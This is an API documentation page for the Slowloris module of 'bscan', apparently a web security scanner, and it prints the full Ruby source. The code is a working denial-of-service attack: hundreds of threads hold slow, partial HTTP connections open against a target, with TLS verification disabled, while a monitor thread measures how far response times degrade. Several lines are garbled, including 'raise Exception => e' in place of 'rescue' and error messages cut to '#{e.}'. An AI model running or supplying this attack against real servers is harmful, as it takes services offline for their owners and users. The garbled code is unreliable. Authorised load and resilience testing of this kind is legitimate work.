Module: Slowloris
- Defined in:
- lib/bscan/modules/slowloris.rb
Overview
Copyright © 2015, Oleg Gryb
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Instance Method Summary collapse
- #close_all ⇒ Object
- #get_normal_response_time(host, port, req, proto, t) ⇒ Object
- #make_conns(nbr, host, port, req, proto, t, readto = 0) ⇒ Object
- #random_url(req) ⇒ Object
- #read_response(s, to = 0) ⇒ Object
- #run(*args) ⇒ Object
- #send_more(host, port, proto, t, con) ⇒ Object
- #send_slow(host, port, req, proto, t, con, reopen = true, readto = 0) ⇒ Object
- #update_info(t, con, val) ⇒ Object
Instance Method Details
#close_all ⇒ Object
164 165 166 167 168 169 170 171 172 173 174 |
# File 'lib/bscan/modules/slowloris.rb', line 164 def close_all @threadinfo.each_pair do |k,v| v.each_key do |i| begin v[i].close if v[i] update_info k,i,nil rescue end end end end |
#get_normal_response_time(host, port, req, proto, t) ⇒ Object
231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 |
# File 'lib/bscan/modules/slowloris.rb', line 231 def get_normal_response_time host,port,req,proto,t @threadinfo[t] ||= {} rsp = '' start = Time.now # @bscan.activity[0]=true req = random_url req begin send_slow host,port,req,proto,t,0 s = @threadinfo[t][0] if !s raise "read failed for: #{req}" end rsp = read_response s rescue Exception => e Log 1, "#{@mid}get_normal_response_time Exception : #{e.}" end begin s.close rescue end update_info t,0,nil [rsp,Time.now - start] end |
#make_conns(nbr, host, port, req, proto, t, readto = 0) ⇒ Object
176 177 178 179 180 181 182 |
# File 'lib/bscan/modules/slowloris.rb', line 176 def make_conns nbr,host,port,req,proto,t,readto=0 Log 2, "#{@mid}make_conns: #{t} #{nbr}" nbr.times do |con| Log 2, "#{@mid}make_conns connection: #{t} #{con}" send_slow host,port,req,proto,t,con,true,readto end end |
#random_url(req) ⇒ Object
227 228 229 |
# File 'lib/bscan/modules/slowloris.rb', line 227 def random_url req req.sub /^(POST|GET)\s+\/@@@/, "\\1 /#{'u'+rand(1000000).to_s}" end |
#read_response(s, to = 0) ⇒ Object
255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 |
# File 'lib/bscan/modules/slowloris.rb', line 255 def read_response s,to=0 rsp='' begin while (ch=s.sysread(1)) rsp += ch return rsp if msg_end rsp if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i len = $1.to_i while (c=s.sysread(1)) rsp += c if msg_end rsp break if len <= 0 if (to <= 0) rsp += s.sysread(len) else Log 2, "#{@mid}read_response len #{len} #{to} #{Float(to)/len}" len.times do |n| rsp += s.sysread(1) sleep Float(to)/len end end break end end break end end rescue Exception => e Log 1, "#{@mid}read_response Exception #{e.}\n#{rsp}" Log 1, e.backtrace.join("\n") end rsp end |
#run(*args) ⇒ Object
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 |
# File 'lib/bscan/modules/slowloris.rb', line 20 def run *args @prop_pref = 'bscan.slowloris.' @prop_pref += args[2] + '.' if args[2] && args[2].length > 0 @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.' begin dlw = get_par 'delay_on_write',true proto = get_par 'protocol', 'http' threads = get_par 'threads', dlw ? 500:20 rtf = get_par 'response_time_factor',5 slt = get_par 'sleep_time', dlw ? 5:100 cn = get_par 'con_per_thread', dlw ? 1:50 ppc = get_par 'pack_per_con', dlw ? 50:5 hli = get_par 'health_check_int', 2 http_method = get_par 'method', 'POST' req = @bscan_config[prop('request')] nreq = nil if req file = open_in_path(req) r = file.read req.gsub!(/\^M\n/,"\r\n") file.close nreq = req else host = get_par 'hostport','' host,port = host.split(':') if host raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port req = "#{http_method} /@@@ HTTP/1.1\r\n" + "Host: #{host}:#{port}\r\n" + "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1" if http_method == 'POST' req += "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 7\r\n" nreq = req + "\r\nfoo=moo" else nreq = req + "\r\n\r\n" end end Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port} #{proto} #{dlw}\n#{req}" # rsp,nrt = get_normal_response_time nreq,proto @threadinfo = {} trg,host,port = get_url_host_port req,proto @infom ||= Mutex.new rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads) Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}" threads.times do |t| @infom.lock @threadinfo[t] = {} @infom.unlock for con in 0..cn-1 @infom.lock @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet @infom.unlock end Thread.new do begin Log 2, "#{@mid}run thread: #{t} #{cn}" if (!dlw) make_conns cn,host,port,req,proto,t for pcnt in 0..ppc-1 Log 2, "#{@mid}run after sleep: #{t} #{cn}" for con in 0..cn-1 send_more host,port,proto,t,con end sleep slt end else for pcnt in 0..ppc-1 Log 2, "#{@mid}run sending pack #{pcnt}: #{t} #{cn}" for con in 0..cn-1 send_slow host,port,nreq,proto,t,con,true,slt end end end raise Exception => e Log 1, "#{@mid}run Exception: #{e.}" Log 1, e.backtrace.join("\n") Thread.current.exit end end end # Monitoring thread mont = Thread.new do maxtime=0 while (true) begin sleep hli rsp,rt = get_normal_response_time(host, port, nreq, proto, threads) Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}" maxtime = rt if rt > nrt*rtf && rt > maxtime ex = true tnum = 0 cnum = 0 @threadinfo.each_pair do |t,c| inc_t = false c.each_key do |k| if c[k] cnum += 1 inc_t = true ex = false end end tnum += 1 if inc_t end Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{hli} sec" break if ex rescue Exception => e Log 1, "#{@mid}run Exception: #{e.}" Log 1, e.backtrace.join("\n") end end Log 2, "#{@mid}run exiting monitor: #{maxtime}" if maxtime > 0 issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", dlw ? nreq:req, rsp, "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}" write_issue_state issue end close_all end mont.join() rescue Exception => e Log 0, "#{@mid}run Exception: #{e.}" Log 0, e.backtrace.join("\n") end end |
#send_more(host, port, proto, t, con) ⇒ Object
184 185 186 |
# File 'lib/bscan/modules/slowloris.rb', line 184 def send_more host,port,proto,t,con send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false end |
#send_slow(host, port, req, proto, t, con, reopen = true, readto = 0) ⇒ Object
188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 |
# File 'lib/bscan/modules/slowloris.rb', line 188 def send_slow host,port,req,proto,t,con,reopen=true,readto=0 # @bscan.activity[0]=true begin s = @threadinfo[t][con] rndr = random_url(req) if !s || s.closed? || s.syswrite(rndr) != rndr.length s.close if s && !s.closed? raise "can't send more, connection closed #{host} #{port} #{t} #{con} #{readto}" if not reopen s = TCPSocket.new(host, port) Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con} #{readto}" # Log 2, "#{@mid}send_slow socket# #{`netstat -n | wc -l`.chomp}" if (proto =~ /https/i) ctx = OpenSSL::SSL::SSLContext.new ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE s = OpenSSL::SSL::SSLSocket.new(s, ctx) s.connect end update_info t,con,s end s.syswrite(rndr) Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}" Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen if readto > 0 rsp = read_response s,readto Log 2, "#{@mid}send_slow rsp #{t} #{con}\n#{rsp}" end rescue Exception => e Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.} #{e.to_s}" Log 1, e.backtrace.join("\n") begin s.close rescue end update_info t,con,nil end end |
#update_info(t, con, val) ⇒ Object
159 160 161 162 163 |
# File 'lib/bscan/modules/slowloris.rb', line 159 def update_info t,con,val @infom.lock @threadinfo[t][con] = val if @threadinfo[t] @infom.unlock end |